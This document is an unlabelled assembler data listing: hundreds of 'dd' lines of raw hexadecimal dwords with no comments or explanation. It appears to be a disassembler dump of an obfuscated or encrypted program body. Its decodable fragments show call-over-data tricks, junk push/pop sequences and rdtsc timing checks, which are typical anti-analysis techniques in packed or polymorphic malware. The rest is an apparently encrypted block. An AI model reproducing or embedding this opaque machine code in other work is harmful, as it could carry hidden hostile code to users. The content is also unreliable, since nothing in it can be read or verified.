		dd 0Ah,	0C2182F78h, 93513ABFh, 0BD8B7622h, 5E821C1h, 81006A5Fh
		dd 0ED201C9h, 4E877h, 0
		dd 0E8500001h, 0Ch, 0C266D1D5h,	0CCF7C10Dh, 0D3C75CA0h
		dd 5B0236BBh, 448B5B48h, 0BA660424h, 8B38DCh, 89D38B66h
		dd 0E8042444h, 14h, 0DF3DB6C3h,	0D0BC8E33h, 0EFD13CDEh
		dd 0FFF5D981h, 57D6B92Fh, 0AE8h, 6F3BEA00h, 0E4AF1D1Ah
		dd 0E9FDE9A3h, 10h, 76150AEh, 0E0D4CC4Bh, 0CA9805FCh, 9E2703DCh
		dd 50585F5Bh, 89CE8B66h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 7ACDCBC3h, 3D99905Eh
		dd 0D6B70F98h, 0FE8B0B6Ah, 0A5CF858Dh, 860F05EBh, 6, 2C25B589h
		dd 0B39005E8h, 61605054h, 0BD8B6090h, 5E809FDh,	5995BA66h
		dd 6195FF61h, 6A05E827h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 8AC0C357h, 0D68B66FDh
		dd 0A5D9B58Dh, 840F05EBh, 6, 10E19589h,	609605E8h, 2 dup(310F5250h)
		dd 585A585Ah, 6A965061h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 66CAC352h, 0E9E076F5h
		dd 12h,	1A1648A8h, 64F9E22Eh, 0BB48B38Bh, 58DD93BAh, 5090DE9Bh
		dd 6E952h, 8EC90000h, 0FBA440FAh, 6060310Fh, 585A6161h
		dd 90D78B50h, 0BBA591BAh, 0DD95FF1Bh, 6A05E829h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0D9D5C352h, 3E9B78E1h, 39E81CDBh, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 5D6EC7C3h
		dd 9EB927F4h, 0FE90Ch, 2BBE0000h, 44C267F8h, 10007E16h
		dd 98CEEF98h, 0B8BB664Dh, 2B58BF2h, 8105EBA6h, 4358F2F1h
		dd 0FA85C70Eh, 5EBA5h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1B87C355h
		dd 2C83F419h, 0EE9346Eh, 18000000h, 2FD1FCACh, 7CA7DA7Bh
		dd 6EAAD7D3h, 0FFB70FCAh, 207E80h, 384840Fh, 0C1800000h
		dd 6A6045h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0AF8279C3h, 8D5898D3h, 6A2046h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 3D5D41C3h
		dd 40991D34h, 8D33604Dh, 5E82161h, 2DE5B589h, 858905E8h
		dd 5EBA5FEh, 58D0Fh, 29BA0000h,	0E91BEC35h, 39h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 53C35646h, 72FA1032h
		dd 0F2C6C4F8h, 1C058D33h, 894005E8h, 0E810658Dh, 0B5095605h
		dd 5E83029h, 38805Bh, 0FFE8850Fh, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 1232F5C3h
		dd 0F245A645h, 4DE96198h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 7CB9C350h
		dd 8166F67Dh, 8BE723EFh, 6A48D8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0BF92DFC3h, 958949CAh
		dd 5E81A51h, 0F5C3880h,	7084h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 40CBAC55h
		dd 81661D8Fh, 8025A9E7h, 840F2F38h, 41h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0FC35545h, 0D5F3FF29h
		dd 8B601325h, 0E80C918Dh, 0FE853B05h, 0F05EBA5h, 0FFFF6C83h
		dd 158D89FFh, 8905E810h, 0E81EE985h, 6A4005h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B235B4C3h
		dd 3F9B1780h, 0A606BD83h, 0F0005EBh, 9784h, 90D78B00h
		dd 50D78B66h, 90DF8B66h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0CFC35141h, 958956B1h, 5E82EBDh, 6850359h
		dd 8905EBA6h, 0E832AD95h, 0C605h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0FC35343h, 19B9A716h, 815E4EA0h
		dd 829556C3h, 6A587Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 6C0272C3h, 0BE9h, 0C62B6C00h, 0B1C1BF6Fh
		dd 9050F725h, 0E5BB6650h, 2404890Bh, 861B589h, 9D0305E8h
		dd 5E829B9h, 0A5F2B5FFh, 0BF6605EBh, 95FF8258h,	5EBA5F6h
		dd 28DA8166h, 0FC00B5Fh, 0A085h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E8B32B27h
		dd 2850F36h, 8B000000h,	0D9958BFEh, 6105E82Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F5C35747h, 0BF08E885h
		dd 0F78166A0h, 85C70158h, 5EBA5FAh, 1, 68B0F57h, 89000000h
		dd 0E816AD95h, 7BE95A05h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F10CC355h
		dd 5E8h, 0D318D600h, 0BD8B2F53h, 5E8314Dh, 0B70F615Ah
		dd 25BD8BF8h, 8105E82Bh, 11CC6h, 8E800h, 2D070000h, 1B0C63C0h
		dd 958B91ACh, 5E80BEDh,	0FC96E95Ah, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0AE58CAC3h
		dd 22018D2Bh, 0C6805E8h, 0E82C47EBh, 11h, 0AFAED0ACh, 0B15F292Fh
		dd 3F03347Bh, 0A45910E7h, 0D830FC2h, 0E8000000h, 7, 0BAFC7FA3h
		dd 5F05C22Eh, 2434815Bh, 2C476B0Ch, 8E9h, 3B3BA600h, 867B7B3Eh
		dd 6A006A97h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F57C350h, 683h, 7D958900h, 0FF05E808h
		dd 0EBA602B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 337FD7CEh, 0E80E3DBDh
		dd 4195FF05h, 8905E831h, 0E828A19Dh, 11E805h, 8F6B0000h
		dd 56CB8A9Eh, 0D7C663B2h, 88571F87h, 0E9BA8FC7h, 7, 47EFE794h
		dd 5F0F5B5Eh, 0A5FA858Bh, 6A05EBh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 588832C3h, 5B4A5F5Ch
		dd 55BF905Bh, 507D79F3h, 8E8h, 26198D00h, 0E1FFA733h, 2860F66h
		dd 50000000h, 66905F59h, 858DD88Bh, 5EBA60Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 35C35646h, 0BDE8C06Ch
		dd 1569B529h, 8B9005E8h, 0B25150D3h, 89905966h,	0E82E0DBDh
		dd 0C7858D05h, 0B205EBA5h, 66509051h, 901116B9h, 0FF0FEE80h
		dd 0E813A995h, 3D950305h, 8B05E80Fh, 6810FC0h, 8B000000h
		dd 0E809D59Dh, 89BD8305h, 5E80Eh, 0BD830975h, 5E80BE9h
		dd 50137400h, 0B8C08B53h, 4D0h,	0A7899D8Dh, 0D3FF05EAh
		dd 0BD83585Bh, 5E80BE9h, 50117400h, 4D0B853h, 9D8D0000h
		dd 5EAA688h, 585BD3FFh,	0AE8h, 38971000h, 2C140B66h, 0B95BBFA9h
		dd 2A090229h, 50006A59h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 49E80C62h, 665760C6h, 5E768ABBh
		dd 58C08B61h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	0A0C35242h, 8B66FE5Eh, 8C2DAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0B6C35545h,	0B589E6A0h, 5E80FADh
		dd 8BD68B66h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h
		dd 0D1E415A2h, 13E98EC7h, 2A000000h, 0EE264AA0h, 1942B0BCh
		dd 0EC8CDCEDh, 0C776B29Bh, 858D64DDh, 5EBA61Dh,	1B719589h
		dd 858905E8h, 5E80CE9h,	39EBh, 2CC00C0h, 2E400C0h, 0C0h
		dd 0CEB40000h, 0C2277E37h, 0CA594F2Eh, 0CE6F1B3Fh, 89617634h
		dd 0A76A773Eh, 0EB474F14h, 0D3CF1B16h, 0C9A56B15h, 0C212730Eh
		dd 0C7307F3Bh, 0A7181DB2h, 900B35Ah, 0C13E9F29h, 46D6C2DBh
		dd 0A8419005h, 1A43C8EDh, 0A28815D3h, 24396E5Ah, 4F13F2E7h
		dd 0BE781B5Fh, 678D480Ah, 0A707A2E2h, 0BA04925Ah, 2AC5F34Bh
		dd 4DC955C7h, 0FCE3E45Fh, 4EA59802h, 0A709F351h, 0F4560C2Eh
		dd 0A707A2E2h, 0BA04925Ah, 2AC5F34Bh, 4DC626C7h, 0FCE3E45Fh
		dd 0F4187102h, 0A70C18B2h, 645D3B5Ah, 835F9201h, 83C59A5Eh
		dd 0A7C0015Eh, 6433585Ah, 48108C92h, 0CD8774FCh, 0A4E4495Ah
		dd 87061B5Ah, 2E59D800h, 26853F0Eh, 0B2C43F1Eh,	0E5601B5Ah
		dd 4F2DD808h, 1A93DBD1h, 0A2E42857h, 87139E9Ch,	0CD551EB2h
		dd 0A4694A5Ah, 87C01B5Ah, 2E39D803h, 26343F16h,	0BA1C3F1Eh
		dd 0E60C1B5Ah, 0CA71D80Bh, 0DA79F993h, 2FAAB54Eh, 0A7C009B3h
		dd 0C7475E5Ah, 6E84535Ch, 9740F721h, 4AC72C06h,	4F40BADCh
		dd 0A7031B5Eh, 3B29A308h, 644A483Ah, 4F307A00h,	0A7301B4Ah
		dd 768701BBh, 0A70E6552h, 2289A3AEh, 8F3826E0h,	2CDEF4D0h
		dd 0C7C43F1Eh, 6E4CA33Ch, 76BB7D08h, 0A7937A00h, 0E385E0D1h
		dd 0F5561F7Eh, 9558A53Ch, 0A8D22A55h, 0A7C01BD5h, 0FF3A445Ah
		dd 96BD9202h, 581DF36Bh, 4F00B2EFh, 0F706715Fh,	0A70318B2h
		dd 64D93B5Ah, 83849202h, 83249A5Eh, 0A730035Eh,	64485B5Ah
		dd 0F767248Dh, 0A78314BEh, 0F6031B5Ah, 0BC109671h, 2A991EB2h
		dd 4C1B2BDFh, 0F230715Fh, 0A71818B2h, 64513B5Ah, 836A9207h
		dd 83479A5Eh, 0A7810C5Eh, 64955E5Ah, 0DE564F76h, 9FE29A3Ch
		dd 0A19D149Fh, 0AE0C1B5Ah, 4F3412D7h, 58D4905Fh, 60007D8Ah
		dd 0A3AA83C9h, 4F351B30h, 0A7301B59h, 0FADB467Ah, 0A32877D3h
		dd 0A3225FDBh, 0A7031B47h, 4B424E1Fh, 7B4522Ch,	26C4CD6Eh
		dd 0B68673DAh, 0C1785365h, 2C6AE5D1h, 93877AA9h, 9802AD7Eh
		dd 0F1817112h, 0A7C018B2h, 643E3B5Ah, 83449204h, 835C9A5Eh
		dd 0A70C035Eh, 64505D5Ah, 78B9F4DEh, 4BFB734Ch,	0A3418AADh
		dd 0AF76697Eh, 0BAB59234h, 0CD1DF37Fh, 0FA81905Ah, 5803F37Fh
		dd 1A8A4B8Ah, 0A2690BE7h, 42459200h, 0C765F0E9h, 8E95AED3h
		dd 12931EB2h, 0A2E410AFh, 0A2FE903Bh, 0A7031996h, 14689ED3h
		dd 67431EB1h, 4AE59242h, 9435F0E9h, 0A5F4A29Ah,	0DFF1B5Ah
		dd 4F571B30h, 0A7031B59h, 0FE42427Ah, 0A3E457D3h, 0A3445FDBh
		dd 0A7301B4Fh, 8BDB4A1Bh, 0B6999044h, 0C703F379h, 0A93E9E73h
		dd 560A1EB2h, 0A675323Bh, 6165F369h, 4F100EDFh,	0A772585Fh
		dd 0A70FF308h, 0FD261B5Ah, 0F38A4199h, 0E3001F7Eh, 0A7D91F7Eh
		dd 0F5221B5Ah, 8B51BC99h, 84CDC73Eh, 4F1582CFh,	607C735Fh
		dd 4E54F0D0h, 0A7811B52h, 19494255h, 0FC7ABE52h, 83049A03h
		dd 0D0F5B77Eh, 4F5B1B30h, 0A7061B59h, 0F8C0447Ah, 0A3A567D3h
		dd 0A3E45FDBh, 0A7601B4Ch, 9DF34C1Dh, 12E76AF4h, 0A2E417F3h
		dd 0E4C99A3Ch, 978696D7h, 0A684F021h, 4FC9AAEFh, 0A8B0E45Fh
		dd 0A73013D6h, 0A596145Ah, 0F00C1B5Ah, 9A839203h, 9406F34Fh
		dd 4FA20ED7h, 2A0A905Fh, 4F4BBEDFh, 0D6BD905Fh,	2E1DF356h
		dd 4F2C26DFh, 0B283DD5Fh, 0F406F37Ah, 4FD21B30h, 0A7C01B59h
		dd 0FCA3407Ah, 0A31447D3h, 0A33C5FDBh, 0A70C1B4Fh, 0B0C54819h
		dd 7E969062h, 0CF84F370h, 7221009Bh, 0B584CE4h,	83049A5Ch
		dd 8E484843h, 0DDCB9A3Ch, 29392E7h, 5806F35Dh, 4F8DB2EFh
		dd 0F9019B5Fh, 0DC509ED7h, 0B4D91EB1h, 2C181B5Ah, 0DA75A777h
		dd 503B458Bh, 0A3E84E02h, 21C4299Ch, 773F2E93h,	0AEF99ED3h
		dd 26561EB2h, 2ED2E3ABh, 4F2CE2DFh, 22C0E25Fh, 0A2EB3B4Fh
		dd 0F2817109h, 0A7C018B2h, 643D3B5Ah, 835C9207h, 835C9A5Eh
		dd 0A70C005Eh, 64535E5Ah, 7EC65655h, 0ADB4676Bh, 0F618903Ah
		dd 0AA719E5Bh, 0C66A1EB2h, 7F70D1D1h, 0C1A4253Fh, 9387D4D1h
		dd 81A2707Eh, 0F781712Ah, 0A7C018B2h, 64383B5Ah, 83749202h
		dd 835C9A5Eh, 0A70C0E5Eh, 64565B5Ah, 12FC4A02h,	0A26917F3h
		dd 4F911B30h, 0A7601B59h, 0FEF3427Ah, 0A33C57D3h, 0A3285FDBh
		dd 0A7061B4Ch, 0FEC04A1Bh, 5F0A5FA8h, 0DCF09ED7h, 0B5891EB1h
		dd 84301B5Ah, 908D0F08h, 49141050h, 0F7CA9CE4h,	0BBC70505h
		dd 0A1001439h, 2CC01B5Ah, 4F6D5ECFh, 94E0E45Fh,	4F0ADEE7h
		dd 0AE89925Fh, 0CD03F346h, 0A4EB4A5Ah, 87811B5Ah, 2E99D803h
		dd 26643F16h, 0BB343F1Eh, 0E6181B5Ah, 7738D80Bh, 8E261ABCh
		dd 5BEC0680h, 0A5088E79h, 22061EB2h, 0A2883B4Fh, 0DF1D731Dh
		dd 0B3F1A194h, 0A50C1B5Ah, 8A1DA01Dh, 0C79354D6h, 0BF778493h
		dd 2C7387A9h, 26A099AAh, 2B43F6Eh, 0F1A7164Ah, 58586DD4h
		dd 4F0AB2EFh, 9786965Fh, 0CD84F021h, 0A4284D5Ah, 87601B5Ah
		dd 2E6ED804h, 261C3F2Eh, 0BA083F1Eh, 0E1061B5Ah, 1CB2D80Ch
		dd 8F2A2B87h, 8738C56Eh, 2D6FCBA5h, 0A7301B48h,	0A7181DB2h
		dd 94FC595Ah, 2CB56393h, 4F2A9EE7h, 2208425Fh, 0A2283203h
		dd 4F331B30h, 0A7301B59h, 0FCDB407Ah, 0A32847D3h, 0A3225FDBh
		dd 0A7031B4Dh, 98424819h, 8476B523h, 4F7ADEEFh,	0B2B5DD5Fh
		dd 0E01DF37Ah, 4A64CBD1h, 268581E8h, 5943F6Eh, 0B668191Ch
		dd 19C01B5Ah, 2C5BCDEFh, 907F9202h, 0BE64EE1Eh,	0EF53314Dh
		dd 0ABAFAEA5h, 0A7691EB2h, 0A782F30Ah, 0FFE01B5Ah, 0E3E94399h
		dd 0E3B11F7Eh, 0A7041F7Eh, 0F74C1B5Ah, 0B24A1799h, 363A1834h
		dd 8F3B4BE3h, 2A8DDBBAh, 4C1B2BDFh, 0CDE0E45Fh,	0A4F04D5Ah
		dd 870C1B5Ah, 2E58D804h, 26073F2Eh, 0BF853F1Eh,	0E1C01B5Ah
		dd 7F2ED80Ch, 4EAFDA3Fh, 0A7181B57h, 0B72BEE2Bh, 365ED843h
		dd 89F5E610h, 120492DCh, 2EC5F37Dh, 4F6FDECFh, 0B2B5DD5Fh
		dd 0E01DF37Ah, 9735966Bh, 0A3EE1EB2h, 0FA031B5Ah, 0C12BD666h
		dd 2D90E1D1h, 832490B1h, 0A735F25Eh, 0C82F1B5Ah, 2CADEDBCh
		dd 8342925Ah, 1C657B5Eh, 0A7329520h, 0A7AA433Bh, 0A763F30Ch
		dd 0F9101B5Ah, 0D3914599h, 0E38D1F7Eh, 0A71B1F7Eh, 0F1451B5Ah
		dd 75B8199h, 0E99BB400h, 2E3F97C7h, 4F249EDFh, 0EADE45Fh
		dd 2C09F356h, 0A18514A2h, 0A8031B5Ah, 0A7811BD2h, 9745965Ah
		dd 0CD65F021h, 0A4D8495Ah, 87181B5Ah, 2E56D800h, 26023F0Eh
		dd 0B3073F1Eh, 0E5811B5Ah, 94C9D808h, 4F4B62EFh, 0A6664C5Fh
		dd 4F38BAD7h, 5852455Fh, 52B97D8Ah, 0C686924Bh,	0CD84F34Ah
		dd 0A428485Ah, 87601B5Ah, 2E6BD801h, 261C3F06h,	0B0083F1Eh
		dd 0E4061B5Ah, 0DDA0D809h, 5D0A0F0Eh, 0A7AACBA5h, 0A763F30Dh
		dd 0F8101B5Ah, 0DB914499h, 0E38D1F7Eh, 0A71F1F7Eh, 0F0441B5Ah
		dd 0A510DB99h, 2EA5BC53h, 4F535ADFh, 0EEA5905Fh, 0C11DF375h
		dd 0C105D2E5h, 4586C3D6h, 0CD073FD9h, 0A469495Ah, 87C01B5Ah
		dd 2E3AD800h, 26343F0Eh, 0BB1C3F1Eh, 0E50C1B5Ah, 1089D808h
		dd 0AA5E8A8Fh, 0A62E60D8h, 4FCD26D7h, 0A3EA145Fh, 0C1301B5Ah
		dd 0ADEE85E5h, 0A188149Ah, 0C1061B59h, 22C5D5D1h, 0A2693B4Fh
		dd 0F2C07115h, 0A76018B2h, 646D3B5Ah, 83749207h, 83489A5Eh
		dd 0A7060D5Eh, 64565E5Ah, 4FBAE5AFh, 0A7C01B5Eh, 18E0779Eh
		dd 0D0895CE0h, 0A0F14B19h, 0DE0C1B5Ah, 2453BB01h, 0E3886285h
		dd 2CE11F7Eh
		dd 0C6C0ADAAh, 0C7361BD1h, 0A7309F55h, 70931B5Ah, 0E385443Bh
		dd 1D601F7Eh, 0CD5BD31Eh, 0A469485Ah, 87C01B5Ah, 2E3BD801h
		dd 26343F06h, 0BD1C3F1Eh, 0E40C1B5Ah, 0F656D809h, 81EBD8B3h
		dd 0E34E446h, 2EC5F356h, 4F6F2ED7h, 97B5965Fh, 0CD1DF021h
		dd 0A4E4485Ah, 87061B5Ah, 2E58D801h, 26853F06h,	0BAC43F1Eh
		dd 0E4601B5Ah, 2C3AD809h, 0A6BFAEB3h, 0D744F94Dh, 2ED6E4A2h
		dd 4F0B22EFh, 8341985Fh, 4F901B30h, 0A7601B59h,	0FFF3437Ah
		dd 0A33C5FD3h, 0A3285FDBh, 0A7061B4Fh, 0F9C04B1Ah, 42DBA28Fh
		dd 2249030Fh, 0A2880E43h, 0ACF18ED3h, 22931EB2h, 0A2E4281Bh
		dd 4F541B30h, 0A7031B59h, 0FD42417Ah, 0A3E44FD3h, 0A3445FDBh
		dd 0A7301B4Fh, 99DB4918h, 0C6919031h, 0C103F34Ah, 0E4A4BFE3h
		dd 0A7810AB2h, 36C2525Ah, 41334736h, 0E16C8A48h, 0AB5DBB71h
		dd 558D038Fh, 0B51A99A1h, 4E189005h, 0A7811B54h, 0D3B79B88h
		dd 0E192E81Ch, 0CE5AA8Bh, 0BC937045h, 4F5A1B30h, 0A7061B59h
		dd 0F9C0457Ah, 0A3A56FD3h, 0A3E45FDBh, 0A7601B4Fh, 94F34D1Ch
		dd 2C03905Eh, 4F156EEFh, 0CDDE285Fh, 0A4EB4C5Ah, 87811B5Ah
		dd 2E9FD805h, 26643F26h, 0B2343F1Eh, 0E0181B5Ah, 2357D80Dh
		dd 0B003965Bh, 3A8A1EB2h, 0A2690097h, 0A7C00BB3h, 511E8F5Ah
		dd 3ABFDB73h, 0EF67D419h, 1FDFD49Dh, 0B283DDBEh, 0E006F37Ah
		dd 9E9D0D0h, 4E0681A0h,	0A7601B57h, 5AAD0288h, 4B1554E5h
		dd 0A7B57AD0h, 83329A9Fh, 0D6473C5Dh, 4FD11B30h, 0A7C01B59h
		dd 0FFA3437Ah, 0A3145FD3h, 0A33C5FDBh, 0A70C1B43h, 6BC54B1Ah
		dd 551B2494h, 0E34E457h, 2CC5F356h, 4F4066E7h, 97B5965Fh
		dd 8E1DF021h, 4F0252E7h, 0F2B3905Fh, 5806F35Dh,	0F481718Ah
		dd 0A7C018B2h, 643B3B5Ah, 836C9201h, 835C9A5Eh,	0A70C035Eh
		dd 6455585Ah, 0EF18E375h, 0C23490E9h, 2EC5F37Dh, 4F4942DFh
		dd 0F430715Fh, 0A71818B2h, 64573B5Ah, 835A9201h, 83479A5Eh
		dd 0A7810E5Eh, 6493585Ah, 0CD20665Ch, 0A4D84E5Ah, 87181B5Ah
		dd 2E51D807h, 26023F36h, 0BA073F1Eh, 0E2811B5Ah, 0DD5AD80Fh
		dd 0F6D95B9Fh, 0E94B184Ah, 0A7932BECh, 0A7169155h, 0B7EE1B5Ah
		dd 0C7031B5Ah, 7831F400h, 2F7DCC56h, 0C21B2BD7h, 0C1E678D8h
		dd 0F8A5DAE5h, 54871BD1h, 0AA479ED3h, 1FBC1EB2h, 4EF9BDDCh
		dd 0A7C01A74h, 4F301B30h, 0A7301B59h, 0FFDB437Ah, 0A3285FD3h
		dd 0A3225FDBh, 0A7031B41h, 66424B1Ah, 0AD3C74D7h, 4E49D298h
		dd 0A7301B4Bh, 3E62DD26h, 52695F7Dh, 625169E9h,	0AE22AEC1h
		dd 0AC04965Eh, 2EC5F0EEh, 4F660ED7h, 69BB8B5Fh,	0A713F30Ah
		dd 23E1B5Ah, 9A0F03A6h,	0B6486152h, 0CD114493h,	0A4284A5Ah
		dd 87601B5Ah, 2E69D803h, 261C3F16h, 0BF083F1Eh,	0E6061B5Ah
		dd 4C0D80Bh, 2E720864h,	4FCD16D7h, 5EEB7D5Fh, 0B8018EA5h
		dd 12931EB2h, 0A2E43557h, 131786D7h, 0F7901EB1h, 0CD124408h
		dd 0A4284C5Ah, 87601B5Ah, 2E6FD805h, 261C3F26h,	0BC083F1Eh
		dd 0E0061B5Ah, 0C3ACD80Dh, 4268C0ABh, 4E503B53h, 0A7601B56h
		dd 0E1038C5Bh, 1996DE2Ah, 6A11DBFDh, 0A76C8B0Ah, 0A700F30Ch
		dd 0F9A11B5Ah, 0D3494599h, 0E3E11F7Eh, 0A7271F7Eh, 0F15E1B5Ah
		dd 0F642DC99h, 2A8D7B85h, 0A2EB00EFh, 0A4C88E51h, 58A11EB2h
		dd 4F49C6CFh, 3685925Fh, 2E1DF34Fh, 4F1902DFh, 25094C5Fh
		dd 0A7031B4Fh, 0A7810BB3h, 8872715Ah, 0E7D8F4C8h, 0D2028D28h
		dd 0BC25C193h, 22CA4405h, 0A2EE3B4Fh, 2C657B09h, 0A789F285h
		dd 6A761B5Ah, 0DB2198EDh, 4F515DFFh, 0A7181B5Eh, 0D8B9F25h
		dd 0F7FC903Ch, 2AEBFEE4h, 83C59013h, 0A8924B5Eh, 0A76019DEh
		dd 0A86A4D5Ah, 6F937D6Bh, 0A7874300h, 0E38FEAD1h, 54881F7Eh
		dd 0F7817102h, 0A7C018B2h, 64383B5Ah, 83749202h, 835C9A5Eh
		dd 0A70C005Eh, 64565B5Ah, 8480A2F8h, 0A6369012h, 381E9A3Ch
		dd 0ED5E451h, 2735F356h, 2295189Bh, 0A2E7606Ah,	4F531B30h
		dd 0A7031B59h, 0FA42467Ah, 0A3E477D3h, 0A3445FDBh, 0A7301B43h
		dd 0F7DB4E1Fh, 9403F6D0h, 0A70AF2E4h, 99DF1B5Ah, 3727CDCCh
		dd 0EDC5DDEBh, 326B1F33h, 0A2D837A3h, 5E4FCBA5h, 0A718F305h
		dd 0BCC01B5Ah, 3F974614h, 0E896FF39h, 34735F2Fh, 0DC95267Eh
		dd 2C568812h, 22914191h, 0A2E43777h, 0E847C2DBh, 22C50EACh
		dd 0A2693B4Fh, 0CF18AA1Dh, 0D86219B5h, 0A73D9F55h, 0AFF11B5Ah
		dd 560C1B5Ah, 0DB44FE32h, 26F525E6h, 0B5203F5Eh, 0C1A0392Ah
		dd 186FC8D1h, 12CF7AA1h, 0A2F017F3h, 0A700F30Bh, 225E1B5Ah
		dd 99F7B47h, 35D9B5D9h,	0C6A0A088h, 22ED4504h, 0A2DB606Ah
		dd 8BAEC4DBh, 77F339C6h, 0B8179ED3h, 228A1EB2h,	0A26913E7h
		dd 0B8C58ED3h, 2A6F1EB2h, 0A7301B58h, 22DEE9D1h, 0A2E43B4Fh
		dd 0F6067109h, 0A70318B2h, 64D83B5Ah, 838C9203h, 83249A5Eh
		dd 0A7300E5Eh, 64495A5Ah, 8C5B50F1h, 4F2D36CFh,	5088425Fh
		dd 0A7811FB2h, 9E9F8B5Ah, 0A76DF3C3h, 0A2411B5Ah, 5F27F5A1h
		dd 0A3BF9CD1h, 0FDCE7C94h, 2CFB900Ah, 0C7853F1Eh, 5889A03Ch
		dd 1806490Ah, 963FCA7Fh, 0A71815B2h, 35BB1D5Ah,	0EF7B95Dh
		dd 0C0BB87D0h, 0FD4E9458h, 2CA14300h, 8324925Ah, 283F7B5Eh
		dd 0A7181B5Ah, 0C6DA903Ch, 0A7831402h, 58031B5Ah, 4F8DB2EFh
		dd 0F7C0715Fh, 0A76018B2h, 64683B5Ah, 835C9202h, 83489A5Eh
		dd 0A7060C5Eh, 64535B5Ah, 81BC9C7Fh, 0A56DA673h, 22ED1EB2h
		dd 0A2DB606Ah, 80A9A65Bh, 77F31EB2h, 0A1CF96D1h, 228A1EB2h
		dd 0A269134Fh, 4F971B30h, 0A7601B59h, 0F8F3447Ah, 0A33C67D3h
		dd 0A3285FDBh, 0A7061B42h, 56C04C1Dh, 0B4176EEBh, 8351AED1h
		dd 22A61EB2h, 0A2D83B4Fh, 7A8D900Dh, 4F09F345h,	0A7061B5Eh
		dd 3707495Ch, 0A501143Ah, 0F0C01B5Ah, 0A7E11405h, 0C6301B5Ah
		dd 4E4A4B0Ah, 0A70C1B48h, 0FA20C002h, 0F4214566h, 78EBDD36h
		dd 4DE7F1Ch, 966F3471h,	0C76A4B3Ah, 0FF427A3Bh,	0A3285FD1h
		dd 0A78D86E8h, 6F74A53Ch, 0A3A55FD3h, 58A0A53Ch, 0F1607102h
		dd 0A73018B2h, 64463B5Ah, 83789204h, 83429A5Eh,	0A703025Eh
		dd 64D75D5Ah, 4199B9C5h, 0A3DA6652h, 8E1A004Ah,	4F1ACEE7h
		dd 0EB9E45Fh, 1E03F356h, 0CE40BDFBh, 0DCB19ED7h, 2A4B1EB1h
		dd 0A288386Bh, 1ABBCBA5h, 0A2F03023h, 88A19ED3h, 222F1EB2h
		dd 0A2EB1733h, 0A7810FB3h, 160AEC5Ah, 4353A6A2h, 33B9A4BDh
		dd 3F013C4Eh, 9FCBCF4h,	0B283DDD5h, 0E406F37Ah,	4FD61B30h
		dd 0A7C01B59h, 0F8A3447Ah, 0A31467D3h, 0A33C5FDBh, 0A70C1B4Dh
		dd 0F1C54C1Dh, 9462C7EAh, 4F91EACFh, 74A5735Fh,	0AB88ADF7h
		dd 67301B5Ah, 0F19290E7h, 6E4B5B09h, 2C4C803Eh,	0A38244A1h
		dd 451DD87Eh, 0F7C0715Fh, 0A76018B2h, 64683B5Ah, 835C9202h
		dd 83489A5Eh, 0A7060C5Eh, 64535B5Ah, 73D65C0h, 82D1966Bh
		dd 58981EB2h, 4F3CB2EFh, 0A499145Fh, 0A80C1B5Ah, 228BD4EDh
		dd 0A2E8606Ah, 4FD61B30h, 0A7C01B59h, 0F8A3447Ah, 0A31467D3h
		dd 0A33C5FDBh, 0A70C1B47h, 0B0C54C1Dh, 32AA492Ch, 10180B0h
		dd 4D7E7D30h, 2EB0E4A3h, 4F2666DFh, 369D325Fh, 2A09F37Bh
		dd 4CB21ADFh, 0AA8E905Fh, 0F784F374h, 5A3C95E0h, 83649241h
		dd 4F661B30h, 0A7181B59h, 0F9CF457Ah, 0A3226FD3h, 0A3275FDBh
		dd 0A7811B43h, 9B034D1Ch, 0FD561C3Ch, 6D8714BFh, 0A08D96D3h
		dd 32F31EB2h, 0A2EE046Bh, 0A7030BB3h, 0FDEB285Ah, 713C20BBh
		dd 273C3E6h, 0C01B80A9h, 0A8C09085h, 0A70C17DCh, 0A18C145Ah
		dd 0A8031B5Ah, 0A7811BDBh
		dd 5245965Ah, 0CD65F0E9h, 0A4D8495Ah, 87181B5Ah, 2E56D800h
